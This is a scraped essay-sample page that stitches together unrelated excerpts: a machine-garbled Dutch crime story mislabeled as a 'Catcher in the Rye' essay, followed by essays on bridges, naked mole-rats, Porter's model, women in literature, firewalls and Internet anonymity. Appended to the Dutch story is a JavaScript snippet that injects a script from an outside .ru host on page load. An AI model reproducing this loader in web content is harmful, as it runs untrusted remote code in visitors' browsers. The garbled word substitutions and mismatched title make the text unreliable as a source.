The Cather In The Rye Essay Research free essay sample

The Cather In The Rye Essay, Research Paper Nog voor hij het de klas instapte wist hij het Al. Moest hij dot wel doen? Was heated wel zo verstandig? Al maandenlang had Bertus B. rondgelopen met het program. Steeds opnieuw hadden angst en onzekerheid hem ervan weerhou-den het 10 uitvoer Te brengen. Dagen lang had hij staan kijken bij dot, op het eerste gezicht lege en onschuldige klaslokaal. Maar plotseling op dat midder-nachtelijk uur, nam hij de beslissing en liep met zekere passen het lege donkere klaslokaal binnen. Het duurde even voordat zijn ogen gewend waren aan het donker en het lokaal. Stap voor stap kwam hij dichter-bij het rod in de vloer vliering. Langzaam kroop hij op zijn knie? n naar een doos. Hij klikte heated slotje unfastened en pakte Er een pistool eruit. Het had het al diverse malen gebruikt om zijn zogenaamde klusjes Te klaren. Hij vergrendelde het pistool met de veiligheidspal en stopte het in z # 8217 ; n jaszak. We will write a custom essay sample on The Cather In The Rye Essay Research or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Hij deed de doos weer op slot en liep zachtjes het lokaal uit. Bertus liep op zijn tenen om de congiere maar niet Te wekken uit zijn verdoving, ALSs die wakker werd waren de poppen aan het dansen. Hij trok de rits van zijn leren zwarte jas helemaal dicht en sloop de nooduitgang uit. De lamp buiten sprong aan. Zonder naar Te denken zette Bertus het op een lopen nut verdween in de donkere nacht. Toen hij thuis kwam sloop hij zachtjes naar de schuur. Tegen de wand stond een breekijzer, hij wikkelde deze in kranten en hield het ijzer onder zijn jas. In zijn hoofd ging hij alle mogelijkheden sodium. Had hij alles? Kon iemand hem? Of nog erger HAD iemand hem gezien? Hij zette deze gedacht uit zijn hoofd en liep zachtjes naar buiten. Hij liep zonder na te denken naar de afgesproken plaats waar hij Arie zou ontmoeten. Van een afstand zig hij Arie Al staan. Arie was helemaal in heated zwart gekleedt. Arie liep op hem af, en ging naast hem lopen. # 8220 ; Vanmiddag gaat het beginnen en komen ze langs, tot dan hebben wij de tijd # 8221 ; , zei hij. Bertus knikte instemmend. Hij castle aan Arie digital audiotape hij weer gedron-ken had. # 8220 ; Ik dacht dat je opgehouden was met drinken, dot valt me van je tegen. Zeker als we een klus gaan klaren heb ik liever digital audiotape je nuchter set. Zeker na de vorige keer. # 8221 ; Arie dacht sodium, hij was inderdaad Al eens van het dhak af gelazerd toen hij gedronken had. Dit was geen goed idee. # 8220 ; Maar ik had ook alleen maar wat gedronken omdat ik zo zenuwach-tig was. # 8221 ; , verontschuldigde hij zich tegenover Bertus. Die keek hem een keer kwaad aan en zei, # 8220 ; Dan ga je toch niet mee. # 8221 ; Arie moest daar niet aan denken. Die Bertus zou hij peg wel een keer op zijn nummer zetten. In versnelde pas liepen ze naar de haven. Het was donker, aarde donker. Alleen de sterren aan de hemel gaven wat licht. Ze liepen langzaam naar de containers die huizenhoog omgestapeld waren. Aan het einde stond de een container. Bertus kon niet zien welke kleur hij had, het was te donker. Arie zei: # 8220 ; Dit is de container dice John bedoelde. # 8221 ; Bertus keek op zijn horloge, half omegas, heated begint straks al licht Te worden. Veel tijd was er niet meer. Hij plaatste het breekijzer tussen de deur en het slot. Met een krachtige ruk brak het slot zonder Al teveel lawaai. Arie schrok en title een stap opzij. Bertus bleef koel staan, iets waar hij subsequently spijt new wave kreeg. Er klonk geen geluid, het volgende minute greep Bertus met beide handen naar zijn hoofd en viel achterover. Ans werd wakker en zag de lege plaats naast zich. # 8220 ; Vreemd. # 8221 ; dacht ze. # 8220 ; Normaal is hij niet zijn bed uit Te branden. Hij zal wel een belangrijke zaak hebben. # 8221 ; Ze rekte zich uit en liep richting de douche, maar bedacht zich, ze Wilde eert een koppie koffie drinken. Beneden slowdown een briefje new wave Bertus: gt ; # 8220 ; Ik ben met Arie naar de haven, vanavond MOET het gebeurt zijn, anders is heated Te laat. # 8221 ; # 8220 ; Oh mijn God. # 8221 ; dacht Ans wanhopig # 8220 ; Hij gaat het echt doen. Hoe moet ik het nu nog verborgen houden? Eerst moet ik de rest bellen # 8221 ; # 8220 ; Joost, wat Department of Energy jij hier? ! # 8221 ; schreeuwde Arie iets harder dan hij had gewild. # 8220 ; Stil! , starks horen ze ons. # 8221 ; zei Joost op fluistertoon. # 8220 ; Maar wat Department of Energy jij in godsnaam in die container en heb je met Bertus gedaan? # 8221 ; # 8220 ; Ik leg heated allemaal wel uit, het spijt me trouwens van Bertus, hij mag het niet weten, niet voordat we klaar zijn. Check jij even of hij echt K.O. is? # 8221 ; Er verschenen drie car # 8217 ; s met gedoofde lichten. Mensen stapte uit en vervolgde hun weg Te voet naar de container. De telefoon ging. Klaas schrok wakker en nam de hoorn van de haak. # 8220 ; Met Klaas # 8221 ; , antwoorde een rauwe root. # 8220 ; Met Ans, hij weet het, hij weet het verdomme, alles is voor niets geweest. # 8221 ; klonk het paniekerig aan de andere kant new wave de lijn. # 8220 ; Geen nood, we hebben heated program al aangepast, alles loopt op rolletjes. # 8221 ; Bertus werd wakker, hij had geen hoofdpijn. Hij krabbelde overeind en probeerde alles op een rijtje Te zetten. # 8220 ; Waar is Arie? # 8221 ; Hij keek om zich heen en zig digital audiotape hij voor de container zat. Langzaam kwam zijn geheugen terug. Er scheen licht door de deur van de container. Hij pakte zijn pistool en hield het stevig huge in zijn rechterhand. Met zijn voet duwde hij de deur unfastened en liep naar binnen. Het was te donker om nog iets te zien. Hij stak zijn aansteker aan en liep verder. Leeg. De container was leeg. Er slowdown alleen een briefje: # 8220 ; Als je Arie nog ooit eens wil zien, kom digital audiotape naar caf? # 8220 ; De Potvis # 8221 ; in aan de haven. Het handschrift kwam hem bekend voor, maar hij kon niet bedenken new wave wie het was. Toen hij aankwam zig hij een adult male zitten aan een tafeltje. # 8220 ; Ga zitten agent Beerends. # 8221 ; , zei de adult male. # 8220 ; Heeft u gevonden wat u zocht? # 8221 ; Bertus was stom verbaasd. Hoe wist deze adult male zijn naam. En nog erger, zijn functie. Hij was nog maar een hebdomad bezig met heated infiltreren bij de bende nut was nu al ontmaskerd. De bende smokkelde cocaine het land binnen, digital audiotape was duidelijk, maar zijn baas Wilde digital audiotape hij onderzocht wie het brein achter deze organisatie was. Dit kon hij het makkelijkste doen door Te infiltreren bij de bende. Hoe kon hij zich hier uit redden? # 8220 ; Ik heb nog iets dat u wilt hebben. # 8221 ; , vervolgde de adult male op monologe toon. # 8220 ; Kijk eens in de zaal achter je. # 8221 ; Bertus vertrouwde het voor geen cent, toch stond hij op en liep naar de zaal. Langzaam opende hij de deur, het was donker nut stil, toch hoorde hij iets. Plotseling gingen de lichten aan. Bertus greep naar zijn pistool. # 8220 ; Gefeliciteerd! # 8221 ; , klonk het in koor. Voor de tweede maal was Bertus totaal verbouwereerd. Hij keek om zich heen en zig daar Al zijn vrienden. Ze zongen voor hem. Hij was jarig vandaag. Ans liep op Bertus af en onhelsde hem. # 8220 ; Al je collega # 8217 ; s en vrienden hebben hieraan meegewerkt om je in de val Te lokken # 8221 ; , lachte ze. # 8220 ; Jij zou het liefst vergeten dat je jarig set, maar op je veertigste verjaardag kom je er niet zo makkelijk onderuit. # 8221 ; Bertus zei niets en dacht alleen. Toen lachte hij. Hij was er met unfastened ogen ingelopen. Joost kwam naar hem toe. # 8220 ; Sorry van dice klap op je hoofd, maar nog niet alles was klaar en we moesten genuine tijd winnen. Bovendien had ik er niet op gerekend jij je pistool mee zou brengen. Dit zou was te gevaar-lijk zijn omdat we alles zo echt mogelijk wilden laten lijken. Ik was bang dat je wel eens zou gaan schieten. Want een khat in het donker maakt rare sprongen. # 8221 ; Die avond werd Er tot diep in de nacht gefeest. En Bertus? Zoiets had hij nog nooit meegemaakt. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Modern Bridge Building essays

Modern Bridge Building essays Modern technology is advancing faster than we care to think. Our engineering marvels of the past are quickly becoming obsolete. Many bridges are built using classic designs which can be greatly improved with new technology. Modern technology allows bridges to be built from state of the art materials with superior strength and versatility (Wilson I). The arch is one of the older forms of bridge used in many Roman structures. It is like an inverted suspension bridge, with all the tensions replaced by compressions, and vice versa. The other great difference is in the stability of the system. You can drive heavy weight across an arch and cause it to flex, and it will always return to its original position, after movement. The girder bridge is made up of two or more large beams that can stretch across the length of the obstacle that it is built to overcome. Many cantilevers that pivot as the load on the bridge shifts are used to even out the stress on the entire structure. This is the most basic and most widely used design (Krinsiuns III). The box girder is a bridge that most engineers try to avoid because of the stress that is put on the beams during construction, which has lead to many collapses(Wilson I). It is made up of many trusses and boxed or round beams. The cable stayed bridge uses the support of many high tension cables that are attached to two large pillars. The bridge is very well balanced due to the many separate cables, which support themselves under high stress (Krinsiuns III). The suspension bridge is the most popular and well known bridge design used today. The most highly stressed parts of a suspension bridge are in tension not in compression. A cable, though flexible, is very stable against pressure, and only needs to be thick enough to withstand the tension, with a safety factor. A strut is unstable, and needs to be thick enough to prevent buckling. So an arch can never be as light as a suspension ...

Eusociality in a mammal (naked mole-rats) Research Paper

Eusociality in a mammal (naked mole-rats) - Research Paper Example Considering the three features of eusociality described above, naked mole-rats are the only eusocial mammals that we have ever known. Known taxonomically as Heterocephalus glaber, and belonging to group Rodentia of family Bathyergidae, the naked mole-rats are generally found in the hot, semiarid regions of Africa. They usually live in large colonies present underground in subterranean tunnels (Ciszek) where on average 75 mole-rats live in each colony. Only one female mole-rat reproduces by breeding with a few males of the community, while the rest of the males and females form the labor force which perform tasks like maintenance of colonies, nest building, transportation of soil, and defense. The workers keep busy in construction and provision of food. Being sterile, they do not have a direct offspring but work cooperatively together to look after the offspring of the queen. However, as Ciszek states in his research, these workers are not â€Å"obligatory sterile†, meaning tha t they are capable of reproducing but when they have to live in colonies, they are not supposed to breed. But, if they are separated from their colonies, then they are able to actively reproduce. This is the concept of inclusive fitness (Hamilton 1; Axelrod and Hamilton 1390) according to which an individual is fit for reproduction even if he/she does not have a direct offspring. This is the sharing of genes and the overall fitness is measured by also including the fitness of those who just share the genes even if they have not bred. Thus, the trouble that how the worker mole-rats are able to transmit their genes to the next generation if they are sterile, is solved through the concept of inclusive fitness according to which if the worker mole-rats share genes with their mother queen, then they are able to assist her in raising future queens thus enabling the workers to transmit their genes. This assistance is a special feature of eusociality. Hence, we see close inbreeding in these mole-rats since there is high genetic similarity (Faulkes, Abbott and Mellor). This close inbreeding eliminates the chances of out-breeding in mole-rats which increases their relatedness to the queen’s offspring. This close genetic relatedness maximizes the workers’ potential to do more work. Jarvis (571) talks about frequent workers, infrequent workers, and non-workers. Frequent workers are those who are assigned the responsibilities of digging the soil, construction, maintenance, and food provision. They make trips inside the colonies with food without taking pauses to eat themselves. Infrequent workers assist the frequent workers in work and make half the amount of effort frequent workers make. It is interesting that Jarvis found that the largest proportion of mole-rats is that of non-workers and that their roles are not clearly identified (571). He claims that the male members of these non-workers mate with the breeding female. He studied that since most of these non-workers are most of the time sleeping, thus the overall energy requirement for the colony is reduced. Their main role, he guesses, is the assistance in the brought up of the offspring. Jarvin further affirms that female mole rats of all these categories are non-breeding and will never reproduce.

Porter's model of national competitive Essay Example | Topics and Well Written Essays - 2250 words

Porter's model of national competitive - Essay Example Governments team up with business institutions to device strategies that will guarantee a competitive edge against rivalry countries. Porter’s diamond framework has linked firms, industries, and nations together to explain international competitiveness of countries. However, the model has failed to capture support from the economic school of thought and relies on management theories. This can be explained in terms of international competitiveness at the firm level. Changing patterns of globalization of the world economy, world trade, and dissemination of technology have changed international competitiveness at the firm level. Emphasis on competition among firms in world markets has renewed interest in international competitiveness of countries. This paper focuses on explaining whether or not countries compete internationally as depicted in Porter’s model. This paper explains theories underlying the economic and management schools of thought. The first section gives an o verview of trade theory that gives reasons for differences between economists and management specialists on international competitiveness of countries. These theories also provide the basis for Porter’s diamond theory. The second section examines porter’s framework under the context of economic trade theories. Porter utilizes logical reasoning instead of mathematical economic models to describe different trade theories. This makes it possible for policy-makers to understand the Diamond Framework that can be used to enhance international competitiveness of countries. The last section draws generalizations about the validity of the model. Adam Smith’s theory in 1876 of absolute advantage was the first attempt to explain reasons behind free international trade between countries (Smit, 108). According to Smith, a country can enhance its prosperity by specializing in goods and services in which it has absolute cost advantage over other country (Smit, 108). A country can also improve its prosperity by importing goods and services in which it has absolute cost advantage. Smith’s theory explains why countries can increase their welfare through imports and simultaneously selling goods and services in international markets. Adam smith viewed trade as a positive sum game when developing this theory. This theory contradicts the 16th century mercantilists’ viewpoint of trade as a zero sum game where countries have to export

The Image Of Woman's Life In Literature Essay Example | Topics and Well Written Essays - 1250 words

The Image Of Woman's Life In Literature - Essay Example Suppression of the private ambitions of womenfolk has been unavoidable, for the so-called larger interests of the family and the society. Menfolk utilized the institution of marriage to their advantage. In the stories â€Å"The Yellow Wallpaper† by Charlotte Perkins Gilman and â€Å"Hills Like White Elephants†, by Ernest Hemingway elaborate articulation has been made by the authors as to how the women, whether traditional or modern, have always been at the receiving end and menfolk are not willing to give her space and do not realize the damage they cause to her psyche due to over-protectiveness or outright suppression of her rights and individuality. She has no life of her own and it is linked to the interests of others. â€Å"The Yellow Wallpaper† by Charlotte Perkins Gilman is concerned with the age-old traditions of unequal status of women in the society that has a direct bearing on the institution of marriage. Women are forced into solitude as per the prevai ling conventions of the society. The suffering of women is the theme of the story and as such how the institution of marriage can command respect? The traditional woman has always been at the receiving end and at every stage of her life, the domineering influence of her father first and later that of her husband impacts her life. The narrator suffers from the inferiority complex as her psyche is controlled by her overbearing husband due to which she almost loses her independent thinking power. All avenues for the growth of her personality are barred from her physician husband who firmly believes that he has the panacea for all her ills. She is diagnosed as ill, even though she is not! Illness is forced upon her to subdue her independent spirit. She lives the life of enforced solitude and that is not the fault of any individual, but the societal conventions demand the same. Husband has his own procedures to deal with his wife. The narrator articulates, â€Å"It is so hard to talk wi th John about my case, because he is so wise, and because he loves me so.† (81)After marriage, her over-protective husband is not willing to allow the sapling of her individuality to grow. She bemoans, â€Å"John is a physician, and perhaps—(I would not say it to a living soul, of course, but this is dead paper and a great relief to my mind--) perhaps that is one reason I do not get well faster.† (74) Her God-gifted creativity is not given an opportunity to grow. She laments, â€Å"It is so discouraging not to have any advice and companionship about my work.† (77) She turns cynical. The two important metaphors in the story relate to the feminist interpretation. The yellow wallpaper itself is a metaphor that articulates the subjugation of women by the male fraternity. The irregular pattern of the paper indicates the inconsistency in the life of a woman, and how she is unable to find the proper balance in her life due to circumstances forced upon her by the male-dominated society. The second important metaphor also relates to the wallpaper, but from a different angle. The women remain trapped in the wallpaper. The narrator wonders whether she alone is trapped thus, but immediately reverts to the universal generalization of women and reflects that there are others suffering like her. In â€Å"Hills Like White Elephants,† Ernest Hemingway creates character development through actions and dialogues instead of descriptions and allegories.

Application Level Gateway Information Technology Essay

Application Level Gateway Information Technology Essay This document provides a clear overview of the function of network firewalls in an organization and the authentication methods that they support. The reason why a firewall is needed is given and the benefits and drawbacks of using a firewall, the components of other devices that could be used in place of firewalls are introduced along with the purpose of using them. Finally typical activities are described along with implementation of the firewalls. INTRODUCTION. With the rapid development of the world, the business, marketing, science, engineering even writers and astrologists are intend to use the technology. Therefore we could say that the technology has become the main media among all these fields. YES its true that is quite easy to work with when you get familiar with it. But still we got to know that there are plenty of sand traps in the technology. By the end of this document we will find out few of them and also we will be able to get an in detailed expanded knowledge about them. As we talked earlier, in every field the main media or the attribute is technology. Most of these fields use technology to gather, store, maintain and develop their data. At this point this technology they use become more critical as these data is so much important for the relative company or the organisation. As the world runs faster and its businesses run faster, people have become so much competitive. So it is so important to protect their own data among themselves to compete stronger. So that these organisations aim a secured system for their organisation. In this case FIREWALE plays a major rall. In order to prevent or secure their own data from the outside world, they define their own network that they call a secured network. But networks cannot be simply defined as secured or unsecured. Some organisations store their valuable data in a database and they prevent outsiders from accessing their data or computers from the outside networks. At the same time some organisations need to make information or data available outsiders. But they have some conditions or set of rules. For example these outsiders cannot edit or modify these data. They only can read. We call this READ/WRITE permission. These networks allowed arbitrary access to its data and they use some sort of a mechanism to prevent the original data. This mechanism we call FIREWALE. We all know that with the widespread of the internet along with the World Wide Web (WWW), electronic mail, telnet and file transfer protocol (FTP) each and every person in every corner of the world got the opportunity to communicate with one another in a flash. Sometimes these commutation needs protection. To provide this required protection we use FIREWALES. Since the internet is inherently an insecure network it is so much useful to utilize this kind of method. Sometimes some organisations use their own customised methods since they have their own unique networks. But still the functionalities are the same. BASIC FIREWALL OPERATION and how it works? Figure 1.0 Source: http://www.irislogic.com/Firewall_WP.pdf FIREWALL is a system or a device that enforces a unique access control policy between networks as well as it monitors all data transmission internally and externally of a network. But the main purpose is to keep track of other unauthorized accesses. Also we can limit communication by the direction of the flow, IP address as well as ports. But if we have the access to the firewall, we can simply configure it and enable whatever ports, protocols and computers we want. Also FIREWALLs helps to control the flow of data. For example, it can control the traffic of the TCP layer. So that we can manage the usage of data as well. We can easily set a certain criteria in a firewall. Then it allows all that level of traffic only through the gate or it may deny all traffic unless it meets certain criteria. FIREWALL ARCHITECTURE Firewalls are helping in many ways to structure and protect our network system by introducing the firewall architecture. Basically there are three types of Firewalls Arictectures. Application layer firewalls Dual-Homed Host Figure 1.1 Source: http://www.interhack.net/pubs/fwfaq/firewalls-faq.html Systems with more than one network interface without functioning as routers. In other words where the interface that connected to logically and physically separate network segments. Ex: Application layer firewall. Network layer firewalls Screened Host Figure1.2 Source: http://www.interhack.net/pubs/fwfaq/firewalls-faq.html In screened host architecture, there is no boundary net, no interior router, and often no bastion host. Obviously, there is a host that the outside world talks to, but this host is often not dedicated exclusively to that task. What you have instead is a single router and a services host that provides Internet services to internal and external clients. Ex; Network layer firewalls Screened Subnet Figure 1.3 Source: http://www.interhack.net/pubs/fwfaq/firewalls-faq.html Screen Subnet is a variation of the dual-homed gateway and screened host firewalls. If we want to locate each components separately in a firewall this function plays a big role. When we locate each component of the firewall on a separate system it makes us a greater output and flexibility and it helps to reduce the cost. But, each component of the firewall needs to implement only a specific task, making the systems less complex to configure. Ex: Network layer firewall. Source: http://www.vtcif.telstra.com.au/pub/docs/security/800-10/node58.html BASIC TYPES OF FIREWALL Conceptually, there are two types of firewalls: 1. Network layer 2. Application layer Network Layer Firewalls Basically the external devices of a computer situated between the network and the cable or the modems. Ex: Routers. Figure 1.4 Source: http://www.irislogic.com/Firewall_WP.pdf Application Layer Firewalls Basically the internal components of a computer system. Ex: softwares. Figure 1.5 Source: http://www.irislogic.com/Firewall_WP.pdf BASIC FIREWALL DESIGN DECISIONS When implementing an internet firewall, there are numerous decisions that must be addressed by the Network Administrator. 1. The stance of the firewall This decision reflects the policy of how your company or organization wants to operate the system. It may take one of two completely opposed stances: Everything not specifically permitted is denied firewall should block all traffic, and that each desired service or application should be implemented on a case-by-case basis. This is the recommended approach. Since this creates a very secure environment. But some could say this limits the number of options. Everything not specifically denied is permitted firewall should forward all traffic, and that each potentially harmful service should be shut off on a case-by-case basis. This is more complex than the previous. 2. The overall security policy of the organization The security policy must be based on a carefully conducted security analysis, risk assessment, and business needs analysis. If an organization does not have a detailed security policy, the most carefully expertise firewall can be avoided to expose the entire private network to attack. 3. The financial cost of the firewall That depends on the financial stability of the organization. How much can they afford for the security? A commercial firewall system provides increased security but may highly cost, depending on its complexity and the number of systems protected. If an organization has the in-house expertise, a home-developed firewall can be constructed from public domain software, but there are still costs in terms of the time to develop and deploy the firewall system. Finally, all firewalls require continuing support for administration, general maintenance, software updates, security patches, and incident handling. Source: http://www.itmweb.com/essay534.htm#Introduction COMPONENTS OF THE FIREWALL SYSTEM Packet filtering Circuit gateways Application level proxy Stateful packet inspection Internet connection firewall Hybrid firewall PACKET FILTERING FIREWALL Figure 1.6 A packet filtering firewall works on the network layer of the ISO protocol and this examine the information contained in the header of a packet which includes the source address and the destination address and the application it has to be sent. It is important to know that these types of FIREWALLs only examine the header information. If some corrupted or unwanted data sent from a trusted source, then this type of firewall is no good. Because when a packet passes the gate or the filtering process, it is always passed on to the destination. Therefore we could say that these types of firewalls are so much vulnerable to IP spoofing. In other words, a hacker can make his transmission to the private LAN easily and gain the access. ADVANTAGES OF PACKET FILTERS 1. Easy to install 2. Supports High Speed 3. Makes Security Transparent to End-Users DISADVANTAGES OF PACKET FILTERS 1. Leaves Data Susceptible to Exposure 2. Offers Little Flexibility 3. Offers No User-based Authentication 4. Maintains no state related to communication Source: http://www.cse.iitk.ac.in/research/mtech1997/9711107/node14.html CIRCUIT LEVEL GATEWAY Figure 1.7 Circuit gateway firewalls work on the transport level of the protocol. These firewalls are fast and transparent, but no protection from attacks. Same as the previous Packet filtering firewall, circuit gateway firewalls do not check the actual data in a packet. But surprisingly this can hide the LAN behind it to the outsiders. In other words, this makes the LAN behind the firewall invisible. ADVANTAGES OF CIRCUIT LEVEL GATEWAYS 1. Less impact on network performance 2. Breaks direct connection between the untrusted host and trusted client 3. Higher level security than the static and dynamic filter. DISADVANTAGES OF CIRCUIT LEVEL GATEWAYS 1. Lack of application protocol checking. 2. Low to moderate security level. APPLICATION LEVEL GATEWAY (OR PROXY SERVER) Figure 1.8 Source: http://www.irislogic.com/Firewall_WP.pdf This is the slowest and most awkward firewall is the Application level proxy. As it says, this works on the application level of the protocol stack. Since it operates on the application layer, this can act more wisely and perform the job more intelligently than packet filtering and circuit gateway firewalls. These firewalls are more suitable for enterprise firewalls rather than home use. Application level proxy determines so many useful things such as, if the connection requested is permitted, what application their computer will be used and what are permitted to use at this stage. Not only that but also this firewall protects internal computers from outside sources by hiding them from external viewing. Therefore outside viewers has to conduct all communications via the internal proxy server. That is why this method exceeds the average computer use and not much suitable for home use. ADVANTAGES OF APPLICATION LEVEL GATEWAYS 1. The firewall verifies that the application data is of a format that is expected and can filter out any known security holes. 2. Can allow certain commands to the server but not others, limit file access and authenticate users, as well as perform regular packet filtering duties. 3. Fine-grained control of connections is possible, including filtering based on the user who originated the connection and the commands or operations that will be executed. It can provide detailed logs of all traffic and monitor events on the Host system. 4. The firewall can be set up to trigger real time alarms when it detects events that are regarded as potentially suspicious or hostile. DISADVANTAGES OF APPLICATION LEVEL GATEWAYS 1. Loss of transparency to applications and slower response time. 2. Each application requires a unique program or proxy, making the process resource intensive. Source: http://www.dslreports.com/faq/3065 STATEFUL MULTILAYER INSPECTION FIREWALL Figure1 .8 Source: http://www.irislogic.com/Firewall_WP.pdf Stateful packet inspection examines the state of the communication. This ensures that the stated destination has already acknowledged the communication from the source. So that all the source computers become known and trusted sources to the receiving computer. In addition to that, this firewall closes all ports until it gets authorized and acknowledged by the receiving computer. So that this gives more protection from outside hackers. ADVANTAGES OF SMI FIREWALL 1. Offer a high level of security control by enforcing security policies at the Application socket or port layer as well as the protocol and address level. 2. Typically offer good performance 3. Offering transparency to end user Ensure that all packets must be a port of an authorizes communication session DISADVANTAGES OF SMI FIREWALL 1. It is more expensive than the other firewalls. That means it required to purchase additional hardware software. 2. More Complex than the others Source: http://www.scribd.com/doc/7627655/Internet-Firewalls INTERNET CONNECTION FIREWALL http://i.msdn.microsoft.com/Aa366124.icsicf01(en-us,VS.85).png Internet connection firewall is the new form of security that windows XP provide. This circumvents hackers from scanning the local server or computers by use of packet filtering. This technology can make some holes on the firewall and allow the traffic through to certain ports. The major difference in this firewall is, this provides only inbound protection. In other words, data that travels from the internet to the machine not the data that travels from the machine to internet. HYBRID FIREWALL http://www.networkworld.com/gif/2002/0401TechUpdate.gif Hybrid firewall is a combination of two firewalls that we mentioned before. This was developed using the application gateway and a packet filtering firewall. Generally this firewall is implemented by adding a packet filtering firewall into the application layer to enable a quick access to the internet. But still there could be greater risks from inside network attacks and previously unknown viruses and or attacks. DRAWBACKS USING A FIREWALL Drawbacks of firewalls. As I mentioned before firewalls are playing a major role to avoid unauthorized parties from accessing the private network or computer. Although firewalls are having strength to protect against the attacks but some attacks such as eavesdropping or interception of emailing cannot protect avoided by firewalls. That means firewalls will not provide much protection on each and every attack. So that we could say firewalls have benefits as well as drawbacks too. Here are some drawbacks. Drawbacks of software firewalls. Slow down applications May be heavy on system resources. Difficult to remove. Cannot protect against attacks that do not go through the firewall Cost is high Cannot protect against threats posted by traitors or unwritten users of the system or the network Drawbacks of hardware firewalls. Expensive to purchase. Need of Specialist knowledge Upgrading is difficult. Cost is high BENEFITS USING A FIREWALL As we discussed earlier, firewalls are a kind of filters that we use or add to filter data which pass from and into our network or computer while we using or surfing the internet. This helps to protect private LANs from hostile intrusions from internet Allows network administrators to customise access rights of their network users Helps with the information management Protect private information Manage the filtration level Monitors what information gets in and what gets out More importantly, this protects the network or the computer from harmful viruses, spyware and other malicious programs that can be infected from the internet. Firewall can save important and valuable data Sometimes some programs can simply attack on the whole system and destroy all valued data. In such cases firewall can keep a choke point that can be useful when retrieving the data. This choke point could be a starter to save that whole lot of important data. In other words this choke point could be an alarm point that monitors and alarms about the risk. Firewall can offer a central point of contact for information delivery service to customers IMPLEMENTING THE FIREWALL SYSTEM Determine the access denial methodology to use Start with a gateway that has no traffic and no holes or brick walls in it Determine inbound access policy The NAT router will block all inbound traffic that has no relate to the requested data from the original LAN. To make the LAN more secure, it is required to determine which packet should be allowed into the LAN. This may require a certain criteria Determine the outbound access policy If the user only needs the access to the web, then you may need a high level of security with manually selected sites on each web browser on each machine. But this would defer when using a NAT router with no inbound mapping of traffic from the internet. Then we can allow users to use the internet freely as they wish. Determine of the dial in or dial out policy is required Dial in always requires a secure remote access PPP server outside the firewall. Somehow if a dial-out requires then the dial-out machine should be individually secured to make hostile connections impossible through the dial- out connection. Why buy a firewall product and how After above questions are being answered, then we can decide whether to buy a product or it is ok to implement or configure a product by ourselves. This will always depends on the size or the capacity of the network and the availability of the resources such as expertise and requirements. Alternatives Virus guard Zone alarms Software firewalls Routers Virus guard Virus guard is simply a program which runs in the background of a computer to protect the computer from malicious distrusted programs that can arrived through emails and other file transfer methods. Zone alarm Zone alarm is originally a software firewall which has an inbound intrusion detection system. This also has the ability to control the outbound connection system. Software firewalls Firewalls can be both software and hardware. The ideal firewall consist of both software and hardware firewalls. These firewalls are installed in the computer itself. Therefore these are more popular in individual use. But the downside of this is that, this only protects the computer that it has been installed, not the network that the computer is in. Routers As it sounds routers are used to rout data packets between networks. This device is capable of read the information each packet and direct them to the correct place or correct network where it belongs. Conclusion In this report I would like to

Sensible Anonymity on the Internet Essay -- Exploratory Essays Researc

Sensible Anonymity on the Internet Abstract: This paper is an analysis of the anonymity of Internet users. Specifically, what are the benefits and disadvantages created by anonymity on the Internet, and how can the disadvantages be lessened without adversely affecting the benefits? The rapid growth of the Internet’s popularity is staggering. In 1990 few people outside the research community knew of it, and today it is estimated that there are more than 300 million Internet users worldwide (1). It is unlikely that any previous notable form of media or technology (radio, telephony, automobiles, or television, for instance) gained such widespread usage so quickly. When one adds up the cost of a computer, modem, ISP1, busying a phone line and the time it takes to download/upload email/websites it seems obvious that it is not cheap or easy to surf the net. The anonymity that the Internet provides its users is a key factor in why the Internet has become so incredibly popular so quickly. The benefits of anonymity on the Internet outweight the disadvantages, however something should needs to be done to reduce or eliminate the disadvantages without adversely impeding the advantages. The ability to have your own anonymous website (geocities.yahoo.com) with an anonymous email address to go with it (mail.yahoo.com or www.hotmail.com) is extremely alluring to the general public. No programming ability is required when programs such as Microsoft FrontPage ® and Adobe GoLive ® help you create webpages using a simple word-processor-like interface. Formerly, one had to be an established, professional journalist, author or artist to have relatively any chance to publicly express your views, opinions and/or creativity. Wi... ...mity.html>. (July 21, 1999). 3. Al Teich, Mark S. Frankel, Rob Kling, Ya-ching Lee. â€Å"Anonymous Communication Policies for the Internet: Results and Recommendations of the AAAS Conference† The Information Society 15(2) (Version 14/January 27 1999). Notes: 1 Internet Service Provider 2 A remailer is a free, online service through which emails can be sent. The remailer will send the email on to its final destination, but the transmission history of that email will be erased before it is sent. 3 American Association for the Advancement of Science 1 Internet Service Provider 2 A remailer is a free, online service through which emails can be sent. The remailer will send the email on to its final destination, but the transmission history of that email will be erased before it is sent. 3 American Association for the Advancement of Science